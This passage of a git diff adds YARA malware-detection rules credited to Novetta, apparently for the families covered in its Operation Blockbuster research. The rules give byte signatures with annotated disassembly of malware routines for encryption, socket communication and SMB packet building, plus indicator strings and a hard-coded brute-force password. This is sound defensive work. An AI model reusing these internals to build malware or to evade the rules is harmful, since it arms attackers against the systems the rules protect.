+rule WhiskeyDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group  trig@novetta.com"
+		Source = "41badf10ef6f469dd1c3be201aba809f9c42f86ad77d7f83bc3895bfa289c635"
+
+	strings:
+	/*
+		F3 A5           rep movsd
+		8B 7C 24 30     mov     edi, [esp+28h+arg_4]
+		85 FF           test    edi, edi
+		7E 3A           jle     short loc_402018
+		8B 74 24 2C     mov     esi, [esp+28h+arg_0]
+		8A 44 24 08     mov     al, [esp+28h+var_20]
+		53              push    ebx
+		8A 4C 24 21     mov     cl, [esp+2Ch+var_B]
+		8A 5C 24 2B     mov     bl, [esp+2Ch+var_1]
+		32 C1           xor     al, cl
+		8A 0C 32        mov     cl, [edx+esi]
+		32 C3           xor     al, bl
+		32 C8           xor     cl, al
+		88 0C 32        mov     [edx+esi], cl
+		B9 1E 00 00 00  mov     ecx, 1Eh
+		8A 5C 0C 0C     mov     bl, [esp+ecx+2Ch+var_20]
+		88 5C 0C 0D     mov     [esp+ecx+2Ch+var_1F], bl
+		49              dec     ecx
+		83 F9 FF        cmp     ecx, 0FFFFFFFFh
+		7F F2           jg      short loc_402000
+		42              inc     edx
+	*/
+
+	$decryption = {
+			F3 A5 
+			8B 7C 24 30 
+			85 FF 
+			7E ?? 
+			8B 74 24 2C 
+			8A 44 24 08 
+			53 
+			8A 4C 24 21 
+			8A 5C 24 2B 
+			32 C1 
+			8A 0C 32 
+			32 C3 
+			32 C8 
+			88 0C 32 
+			B9 1E 00 00 00 
+			8A 5C 0C 0C 
+			88 5C 0C 0D 
+			49 
+			83 F9 FF 
+			7F ?? 
+			42 
+		}
+
+	$s1 = "=====IsFile=====" wide
+	$s2 = "=====4M=====" wide
+	$s3 = "=====IsBackup=====" wide
+	
+	condition:
+		2 of ($s*) 
+		or $decryption in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule zox
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf"
+
+	strings:
+		$url ="png&w=800&h=600&ei=CnJcUcSBL4rFkQX444HYCw&zoom=1&ved=1t:3588,r:1,s:0,i:92&iact=rc&dur=368&page=1&tbnh=184&tbnw=259&start=0&ndsp=20&tx=114&ty=58"
+
+	condition:
+		$url
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/PapaAlfa.yara b/yara-mikesxrs/Novetta/PapaAlfa.yara
new file mode 100644
index 0000000..fab5f33
--- /dev/null
+++ b/yara-mikesxrs/Novetta/PapaAlfa.yara
@@ -0,0 +1,15 @@
+rule PapaAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "pmsconfig.msi" wide
+		$ = "pmslog.msi" wide
+		$ = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d"
+		$ = "CreatP2P Thread" wide
+		$ = "GreatP2P Thread" wide
+	condition:
+		3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/RomeoAlfa.yara b/yara-mikesxrs/Novetta/RomeoAlfa.yara
new file mode 100644
index 0000000..a20b780
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoAlfa.yara
@@ -0,0 +1,68 @@
+import "pe"
+
+rule RomeoAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "fba0b8bdc1be44d100ac31b864830fcc9d056f1f5ab5486384e09bd088256dd0.file2.bin"
+
+	strings:
+	/*
+		68 C4 94 41 00     push    offset a0_0_0_0 ; "0.0.0.0"
+		56                 push    esi             ; wchar_t *
+		E8 1C B4 00 00     call    _wcscpy
+		83 C6 28           add     esi, 28h
+		83 C4 08           add     esp, 8
+		81 FE E8 CD 41 00  cmp     esi, offset unk_41CDE8
+		7C E7              jl      short loc_4039DA
+	*/
+
+	$zeroIPLoader = {
+			68 [4] 
+			56 
+			E8 [4] 
+			83 C6 28 
+			83 C4 08 
+			81 FE [4] 
+			7C E? 
+		}
+		
+
+
+		// push    esi                              
+		// mov     esi, [esp+4+a1]                  
+		// test    esi, esi                         
+		// jle     short loc_403FEB                 
+		// push    edi                              
+		// mov     edi, ds:Sleep                    
+		// push    0EA60h          ; dwMilliseconds 
+		// call    edi ; Sleep                      
+		// dec     esi                              
+		// jnz     short loc_403FE0                 
+		// pop     edi                              
+		// pop     esi                              
+		// retn                                     
+		$sleeper  = {
+				5? 
+				8B [3]                       
+				85 ??                        
+				7E ??                        
+				5? 
+				8B 3D [4]                    
+				68 [4]               
+				FF ??                        
+				4? 
+				75 ??                        
+				5? 
+				5? 
+				C3                           
+			}
+			
+		$xercesc = "xercesc"
+		
+	condition:
+		($sleeper in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $zeroIPLoader in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size)))
+		and not $xercesc
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/RomeoBravo.yara b/yara-mikesxrs/Novetta/RomeoBravo.yara
new file mode 100644
index 0000000..d52fc5a
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoBravo.yara
@@ -0,0 +1,57 @@
+import "pe"
+
+rule RomeoBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "95314a7af76ec36cfba1a02b67c2b81526a04e3b2f9b8fb9b383ffcbcc5a3d9b"
+
+	strings:
+	/*
+		E8 D9 FC FF FF  call    SendData
+		83 C4 10        add     esp, 10h
+		85 C0           test    eax, eax
+		74 0A           jz      short loc_10003FE8
+		B8 02 00 00 00  mov     eax, 2
+		5E              pop     esi
+		83 C4 18        add     esp, 18h
+		C3              retn
+		6A 78           push    78h             ; dwTimeout
+		6A 01           push    1               ; fDecode
+		8D 54 24 18     lea     edx, [esp+24h+recvData]
+		6A 0C           push    0Ch             ; dwLength
+		52              push    edx             ; pvBuffer
+		56              push    esi             ; skt
+		E8 57 FD FF FF  call    RecvData
+		83 C4 14        add     esp, 14h
+		85 C0           test    eax, eax
+		74 0A           jz      short loc_1000400A
+		B8 02 00 00 00  mov     eax, 2
+	*/
+
+	$a = {
+			E8 [4] 
+			83 C4 10 
+			85 C0 
+			74 ?? 
+			B? 02 00 00 00 
+			5? 
+			83 C4 18 
+			C3 
+			6A 78 
+			6A 01 
+			8D [3]
+			6A 0C 
+			5? 
+			5? 
+			E8 [4]
+			83 C4 14 
+			85 C0 
+			74 ?? 
+			B8 02 00 00 00 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/RomeoCharlie.yara b/yara-mikesxrs/Novetta/RomeoCharlie.yara
new file mode 100644
index 0000000..572a6fa
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoCharlie.yara
@@ -0,0 +1,87 @@
+import "pe"
+
+rule RomeoCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "a82108ef7115931b3fbe1fab99448c4139e22feda27c1b1d29325710671154e8"
+
+	strings:
+		$auth1 = "Success - Accept Auth"
+		$auth2 = "Fail - Accept Auth"
+
+	/*
+		81 E3 FF FF 00 00  and     ebx, 0FFFFh
+		8B EB              mov     ebp, ebx
+		57                 push    edi
+		C1 EE 10           shr     esi, 10h
+		81 E5 FF FF 00 00  and     ebp, 0FFFFh
+		8B FE              mov     edi, esi
+		8B C5              mov     eax, ebp
+		81 E7 FF FF 00 00  and     edi, 0FFFFh
+		C1 E0 10           shl     eax, 10h
+		6A 00              push    0               ; _DWORD
+		0B C7              or      eax, edi
+		6A 00              push    0               ; _DWORD
+		50                 push    eax             ; _DWORD
+		68 10 14 11 71     push    offset sub_71111410; _DWORD
+		6A 00              push    0               ; _DWORD
+		6A 00              push    0               ; _DWORD
+		FF 15 5C 8E 12 71  call    CreateThread_0
+		C1 E7 10           shl     edi, 10h
+	*/
+
+	$startupRelayThreads = {
+			81 ?? FF FF 00 00 
+			8B ?? 
+			5? 
+			C1 ?? 10 
+			81 ?? FF FF 00 00 
+			8B ?? 
+			8B ?? 
+			81 ?? FF FF 00 00 
+			C1 ?? 10 
+			6A 00 
+			0B ?? 
+			6A 00 
+			50 
+			68 [4] 
+			6A 00 
+			6A 00 
+			FF 15 [4] 
+			C1 ?? 10 
+		}
+
+	/*
+	source: 641808833ad34f2e5143001c8147d779dbfd2a80a80ce0cfc81474d422882adb
+		25 00 20 00 00     and     eax, 2000h
+		3D 00 20 00 00     cmp     eax, 2000h
+		0F 94 C1           setz    cl
+		81 E2 80 00 00 00  and     edx, 80h
+		33 C0              xor     eax, eax
+		80 FA 80           cmp     dl, 80h
+		0F 94 C0           setz    al
+		03 C8              add     ecx, eax
+		33 D2              xor     edx, edx
+		83 F9 01           cmp     ecx, 1
+	*/
+
+	$crypto = {
+			2? 00 20 00 00 
+			3? 00 20 00 00 
+			0F [2] 
+			81 ?? 80 00 00 00 
+			33 ?? 
+			80 ?? 80 
+			0F [2] 
+			03 ?? 
+			33 ?? 
+			83 ?? 01 
+		}
+
+	condition:
+		all of ($auth*) 
+		or $startupRelayThreads in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $crypto in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/RomeoDelta.yara b/yara-mikesxrs/Novetta/RomeoDelta.yara
new file mode 100644
index 0000000..cca3ef7
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoDelta.yara
@@ -0,0 +1,33 @@
+import "pe"
+
+rule RomeoDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "1df2af99fb3b6e31067b06df07b96d0ed0632f85111541a416da9ceda709237c"
+
+	strings:
+	/*
+		E8 78 00 00 00  call    GenerateRandomBuffer
+		33 C0           xor     eax, eax
+		8A 4C 04 04     mov     cl, [esp+eax+24h+buffer]
+		80 E9 22        sub     cl, 22h
+		80 F1 AD        xor     cl, 0ADh
+		88 4C 04 04     mov     [esp+eax+24h+buffer], cl
+		40              inc     eax
+		83 F8 10        cmp     eax, 10h
+		7C EC           jl      short loc_1000117A
+		6A 01           push    1               ; fEncode
+		8D 54 24 08     lea     edx, [esp+28h+buffer]
+		6A 10           push    10h             ; dwDataLength
+		52              push    edx             ; pvData
+		8B CB           mov     ecx, ebx        ; this
+		E8 A2 00 00 00  call    CSocket__Send
+	*/
+
+	$loginInit = { E8 [4] 33 C0 8A [3] 80 [2] 80 [2] 88 [3] 40 83 F8 10 7C ?? 6A 01 8D [3] 6A 10 5? 8B CB E8	}
+
+	condition:
+		$loginInit in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/RomeoEcho.yara b/yara-mikesxrs/Novetta/RomeoEcho.yara
new file mode 100644
index 0000000..c497210
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoEcho.yara
@@ -0,0 +1,18 @@
+import "pe"
+
+rule RomeoEcho
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "%s %-20s %10lu %s"
+		$ = "_quit"
+		$ = "_exe"
+		$ = "_put"
+		$ = "_get"
+
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Novetta/RomeoFoxtrot.yara b/yara-mikesxrs/Novetta/RomeoFoxtrot.yara
new file mode 100644
index 0000000..10ac158
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoFoxtrot.yara
@@ -0,0 +1,56 @@
+import "pe"
+
+
+rule RomeoFoxtrot
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "dropped.bin"
+		Source_relativeCalls = "635bebe95671336865f8a546f06bf67ab836ea35795581d8a473ef2cd5ff4a7f"
+
+	strings:
+	/*
+		C7 44 24 08 01 00 00 00  mov     [esp+128h+argp], 1
+		8B 8C 24 30 01 00 00     mov     ecx, dword ptr [esp+128h+wPort]
+		C7 44 24 04 00 00 20 03  mov     dword ptr [esp+128h+optval], 3200000h
+		51                       push    ecx             ; hostshort
+		89 44 24 1C              mov     dword ptr [esp+12Ch+name.sin_addr.S_un], eax
+		FF 15 8C 01 FF 7E        call    ds:htons
+		6A 06                    push    6               ; protocol
+		6A 01                    push    1               ; type
+		6A 02                    push    2               ; af
+		66 89 44 24 22           mov     [esp+134h+name.sin_port], ax
+		66 C7 44 24 20 02 00     mov     [esp+134h+name.sin_family], 2
+		FF 15 84 01 FF 7E        call    ds:socket								     <--- this could be a relative call in some variants
+		83 F8 FF                 cmp     eax, 0FFFFFFFFh
+		89 46 04                 mov     [esi+4], eax
+		0F 84 AD 00 00 00        jz      loc_7EFE4C63
+		57                       push    edi
+		8B 3D 88 01 FF 7E        mov     edi, ds:setsockopt            <---- this line is missing when relative calls are used
+		8D 54 24 08              lea     edx, [esp+12Ch+optval]
+		6A 04                    push    4               ; optlen
+		52                       push    edx             ; optval
+		68 02 10 00 00           push    1002h           ; optname
+		68 FF FF 00 00           push    0FFFFh          ; level
+		50                       push    eax             ; s
+		FF D7                    call    edi ; setsockopt								<--- this could be a relative call in some variants
+		8B 4E 04                 mov     ecx, [esi+4]
+		8D 44 24 08              lea     eax, [esp+12Ch+optval]
+		6A 04                    push    4               ; optlen
+		50                       push    eax             ; optval
+		68 01 10 00 00           push    1001h           ; optname
+		68 FF FF 00 00           push    0FFFFh          ; level
+		51                       push    ecx             ; s
+		FF D7                    call    edi ; setsockopt								<--- this could be a relative call in some variants
+	*/
+
+		//$connect = {C7 [3] 01 00 00 00 8B [6] C7 [3] 00 00 20 03 5? 89 [3] (FF 15 [4] | E8 [4]) 6A 06 6A 01 6A 02 66 [4] 66 [4] 02 00 (FF 15 [4] | E8 [4]) 83 F8 FF 89 [2] 0F 84 [4] [0-7] 8D [3] 6A 04 5? 68 02 10 00 00 68 FF FF 00 00 5? (FF D? | E8 [4]) 8B [2] 8D [3] 6A 04 5? 68 01 10 00 00 68 FF FF 00 00 5? (FF D? | E8 [4])}
+		$connect = {C7 [3] 01 00 00 00 8B [6] C7 [3] 00 00 20 03 5? 89 [3] FF 15 [4] 6A 06 6A 01 6A 02 66 [4] 66 [4] 02 00 FF 15 E8 [4] 83 F8 FF 89 [2] 0F 84 [4] [0-7] 8D [3] 6A 04 5? 68 02 10 00 00 68 FF FF 00 00 5? FF D? 8B [2] 8D [3] 6A 04 5? 68 01 10 00 00 68 FF FF 00 00 5? FF D?}
+		$challenge = "POST HTTP REQUEST?"
+        $response = "RESPONSE 200 OK!!!"
+
+	condition:
+		($challenge and $response) or 
+		$connect in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/RomeoGolf.yara b/yara-mikesxrs/Novetta/RomeoGolf.yara
new file mode 100644
index 0000000..3bc2df2
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoGolf.yara
@@ -0,0 +1,31 @@
+import "pe"
+
+rule RomeoGolf
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "7322d6b9328a9c708518c99b03a4ed3aa6ba943d7b439f6b1925e6d52a1828fe"
+
+	strings:
+	/*
+		FF 15 70 80 01 10  call    ds:GetTickCount
+		50                 push    eax             ; unsigned int
+		E8 80 93 00 00     call    _srand
+		83 C4 04           add     esp, 4
+		E8 85 93 00 00     call    _rand
+		C1 E0 10           shl     eax, 10h
+		89 46 0C           mov     [esi+0Ch], eax
+		E8 7A 93 00 00     call    _rand
+		01 46 0C           add     [esi+0Ch], eax
+		E8 72 93 00 00     call    _rand
+		C1 E0 10           shl     eax, 10h
+		89 46 08           mov     [esi+8], eax
+		E8 67 93 00 00     call    _rand
+		01 46 08           add     [esi+8], eax
+	*/
+
+	$idGen = {FF 15 [4] 50 E8 [4] 83 C4 04 E8 [4] C1 ?? 10 89 [2] E8 [4] 01 [2] E8 [4] C1 ?? 10 89 [2] E8 [4] ?? ?? ?? }
+	condition:
+		$idGen in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/RomeoHotel.yara b/yara-mikesxrs/Novetta/RomeoHotel.yara
new file mode 100644
index 0000000..dd67e56
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoHotel.yara
@@ -0,0 +1,76 @@
+import "pe"
+
+rule RomeoHotel
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source_64 = "440cb3f6dd07e2f9e3d3614fd23d3863ecfc08b463b0b327eedf08504f838c90"
+		Source_diskSpace = "1b1496f8f35d32a93c7f16ebff6e9b560a158cc6fce061491f91bc9f43ef5be4"
+
+	strings:
+	/*
+		E8 D3 C7 00 00  call    rand
+		44 8B ED        mov     r13d, ebp
+		44 8B E0        mov     r12d, eax
+		B8 1F 85 EB 51  mov     eax, 51EB851Fh
+		48 8B FD        mov     rdi, rbp
+		41 F7 EC        imul    r12d
+		C1 FA 05        sar     edx, 5
+		8B CA           mov     ecx, edx
+		C1 E9 1F        shr     ecx, 1Fh
+		03 D1           add     edx, ecx
+		6B D2 64        imul    edx, 64h
+		44 2B E2        sub     r12d, edx
+		41 83 C4 3C     add     r12d, 3Ch
+	*/
+
+	$randBuff64 = {
+			E8 [4]
+			44 [2]
+			44 [2] 
+			B? 1F 85 EB 51 
+			48 [2] 
+			41 [2]
+			C1 ?? 05 
+			8B ?? 
+			C1 ?? 1F 
+			03 ?? 
+			6B ?? 64 
+			44 [2] 
+			41 [2] 3C 
+		}
+		
+	/*
+		FF 15 40 70 01 10     call    ds:GetDiskFreeSpaceExA
+		85 C0                 test    eax, eax
+		74 34                 jz      short loc_10005072
+		8B 84 24 20 01 00 00  mov     eax, [esp+11Ch+arg_0]
+		6A 00                 push    0
+		99                    cdq
+		68 00 00 10 00        push    100000h
+		52                    push    edx
+		50                    push    eax
+		E8 4C 7C 00 00        call    __allmul
+	*/
+
+	$diskSpace = {
+			FF 15 [4]
+			85 C0 
+			74 ??
+			8B [6]
+			6A 00 
+			99 
+			68 00 00 10 00 
+			5? 
+			5? 
+			E8
+		}
+		
+	$winst = "winsta0\\default" wide		// this limits the overlap with RomeoGolf
+
+	condition:
+		$randBuff64 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or ($diskSpace in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		and $winst)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/RomeoWhiskey.yara b/yara-mikesxrs/Novetta/RomeoWhiskey.yara
new file mode 100644
index 0000000..b772e81
--- /dev/null
+++ b/yara-mikesxrs/Novetta/RomeoWhiskey.yara
@@ -0,0 +1,85 @@
+// rules specific to the winsec malware families
+import "pe"
+
+rule RomeoWhiskey_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "a8d88714f0bc643e76163d1b8972565e78a159292d45a8218d0ad0754c8f561d"
+
+	strings:
+	/*
+		FF 15 78 A2 00 10  call    GetTickCount_9
+		66 8B C8           mov     cx, ax
+
+		// the next op is a mov or a push/pop depending on the code version
+		53                 push    ebx
+		8F 45 F4           pop     dword ptr [ebp-0Ch]
+		//or
+		89 5D F4           mov     dword ptr [ebp+var_C], ebx
+		
+		
+		66 81 F1 40 1C     xor     cx, 1C40h
+		66 D1 E9           shr     cx, 1
+		81 C1 E0 56 00 00  add     ecx, 56E0h
+		0F B7 C9           movzx   ecx, cx
+		0F B7 C0           movzx   eax, ax
+		81 F1 30 32 00 00  xor     ecx, 3230h
+		C1 E0 10           shl     eax, 10h
+		0B C8              or      ecx, eax
+	*/
+
+	$a = {
+			FF 15 [4] 
+			66 8B C8 
+			[3-4] 
+			66 81 F1 40 1C 
+			66 D1 E9 
+			81 C1 E0 56 00 00 
+			0F B7 C9 
+			0F B7 C0 
+			81 F1 30 32 00 00 
+			C1 E0 10 
+			0B C8 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule RomeoWhiskey_One
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "5d21e865d57e9798ac7c14a6ad09c4034d103f3ea993295dcdf8a208ea825ad7"
+
+	strings:
+	/*
+		FF 15 D8 5B 00 10  call    GetTickCount_9
+		0F B7 C0           movzx   eax, ax
+		8B C8              mov     ecx, eax
+		// skipped: 6A 01              push    1               ; fDecode
+		C1 E9 34           shr     ecx, 34h         <--- this value could change
+		81 F1 C0 F3 00 00  xor     ecx, 0F3C0h			<--- this value could change
+		// skipped: 6A 04              push    4               ; dwLength
+		C1 E0 10           shl     eax, 10h
+		0B C8              or      ecx, eax
+	*/
+
+	$a = {
+			FF 15 [4]  
+			0F B7 C0
+			8B C8
+			[2-4] 
+			C1 E9 ?? 
+			81 F1 [2] 00 00 
+			[0-2] 
+			C1 E0 10 
+			0B C8 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/SierraAlfa.yara b/yara-mikesxrs/Novetta/SierraAlfa.yara
new file mode 100644
index 0000000..afd761d
--- /dev/null
+++ b/yara-mikesxrs/Novetta/SierraAlfa.yara
@@ -0,0 +1,73 @@
+import "pe"
+
+rule SierraAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "4d4b17ddbcf4ce397f76cf0a2e230c9d513b23065f746a5ee2de74f447be39b9.ex_"
+
+	strings:
+	/*
+		8D 54 24 08              lea     edx, [esp+128h+argp]
+		52                       push    edx             ; argp
+		68 7E 66 04 80           push    8004667Eh       ; cmd
+		56                       push    esi             ; s
+		E8 DB 51 00 00           call    ioctlsocket
+		8D 44 24 14              lea     eax, [esp+128h+name]
+		6A 10                    push    10h             ; namelen
+		50                       push    eax             ; name
+		56                       push    esi             ; s
+		E8 C8 51 00 00           call    connect
+		8B 8C 24 34 01 00 00     mov     ecx, [esp+128h+dwTimeout]
+		8D 54 24 0C              lea     edx, [esp+128h+timeout]
+		52                       push    edx             ; timeout
+		8D 44 24 28              lea     eax, [esp+12Ch+writefds]
+		6A 00                    push    0               ; exceptfds
+		50                       push    eax             ; writefds
+		6A 00                    push    0               ; readfds
+		6A 00                    push    0               ; nfds
+		89 74 24 3C              mov     [esp+13Ch+writefds.fd_array], esi
+		89 7C 24 38              mov     [esp+13Ch+writefds.fd_count], edi
+		89 4C 24 20              mov     [esp+13Ch+timeout.tv_sec], ecx
+		C7 44 24 24 00 00 00 00  mov     [esp+13Ch+timeout.tv_usec], 0
+		E8 92 51 00 00           call    select
+		33 C9                    xor     ecx, ecx
+		56                       push    esi             ; s
+		85 C0                    test    eax, eax
+		0F 9F C1                 setnle  cl
+		8B F9                    mov     edi, ecx
+		E8 7D 51 00 00           call    closesocket
+	*/
+
+	$connectTest = { 8D [3] 5? 68 7E 66 04 80 5? E8 [4] 8D [3] 6A 10 5? 5? E8 [4] 8B [6] 8D [3] 5? 8D [3] 6A 00 5? 6A 00 6A 00 
+			89 [3] 89 [3] 89 [3] C7 [7] E8 [4] 33 ?? 5? 85 C0 0F 9F ?? 8B ?? E8 }
+
+	/*
+		E8 D8 62 00 00                                call    rand
+		8B F8                                         mov     edi, eax
+		E8 D1 62 00 00                                call    rand
+		0F AF F8                                      imul    edi, eax
+		E8 C9 62 00 00                                call    rand
+		0F AF C7                                      imul    eax, edi
+		99                                            cdq
+		33 C2                                         xor     eax, edx
+		2B C2                                         sub     eax, edx
+		33 D2                                         xor     edx, edx
+		F7 F6                                         div     esi
+		8B FA                                         mov     edi, edx
+		57                                            push    edi
+		E8 05 13 00 00                                call    sub_402BD0
+	*/
+	 	$maths = { E8 [4] 8B ?? E8 [4] 0F AF ?? E8 [4] 0F AF ?? 99 33 ?? 2B ?? 33 ?? F7 ?? 8B ?? 5? E8}
+		
+		$s1 = "recdiscm32.exe"
+		$s2 = "\\\\%s\\shared$\\syswow64"
+		$s3 = "\\\\%s\\shared$\\system32"
+
+	condition:
+		$connectTest in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $maths in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or 3 of ($s*)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/SierraBravo.yara b/yara-mikesxrs/Novetta/SierraBravo.yara
new file mode 100644
index 0000000..0f51399
--- /dev/null
+++ b/yara-mikesxrs/Novetta/SierraBravo.yara
@@ -0,0 +1,114 @@
+// Brambul related signatures
+
+import "pe"
+
+rule SierraBravo_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		/*
+		.text:00403D5A                 mov     word ptr [esi+0Eh], 0C807h
+		.text:00403D60                 mov     dword ptr [esi+39h], 800000D4h
+		.text:00403D67                 mov     byte ptr [edi], 0Ch							<---- ignored
+		.text:00403D6A                 mov     word ptr [esi+25h], 0FFh
+		.text:00403D70                 mov     word ptr [esi+27h], 0A4h
+		.text:00403D76                 mov     word ptr [esi+29h], 4104h
+		.text:00403D7C                 mov     word ptr [esi+2Bh], 32h
+		
+		or
+		
+		.text:100036F9                 mov     word ptr [ebx+0Eh], 0C807h
+														---- begin ignored -----
+		.text:100036FF                 rep movsd
+		.text:10003701                 lea     edi, [ebx+60h]
+		.text:10003704                 mov     ecx, 9
+		.text:10003709                 mov     esi, offset aWindows2000219 ; "windows 2000 2195"
+														---- end ignored -----
+		.text:1000370E                 mov     dword ptr [ebx+39h], 800000D4h
+		.text:10003715                 mov     word ptr [ebx+25h], 0FFh
+		.text:1000371B                 mov     word ptr [ebx+27h], 0A4h
+		.text:10003721                 mov     word ptr [ebx+29h], 4104h
+		.text:10003727                 mov     word ptr [ebx+2Bh], 32h
+		*/
+		$smbComNegotiationPacketGen = { 66 C7 ?? 0E 07 C8 
+																		[0-32]
+																		C7 ?? 39 D4 00 00 80 
+																		[0-32]
+																		66 C7 ?? 25 FF 00 
+																		[0-32]
+																		66 C7 ?? 27 A4 00 
+																		[0-32]
+																		66 C7 ?? 29 04 41 
+																		[0-32]
+																		66 C7 ?? 2B 32 00
+																	}
+
+		$lib = "!emCFgv7Xc8ItaVGN0bMf"
+		$api1 = "!ctRHFEX5m9JnZdDfpK"
+		$api2 = "!emCFgv7Xc8ItaVGN0bMf"
+		$api3 = "!VWBeBxYx1nzrCkBLGQO"		
+		$pwd = "iamsorry!@1234567"										
+
+		
+	condition:
+		$smbComNegotiationPacketGen in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or ($pwd in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+		 		and 
+		 		($lib in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+				or $api1 in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+				or $api2 in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+				or $api3 in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+		))
+
+}
+
+
+rule SierraBravo_One
+{
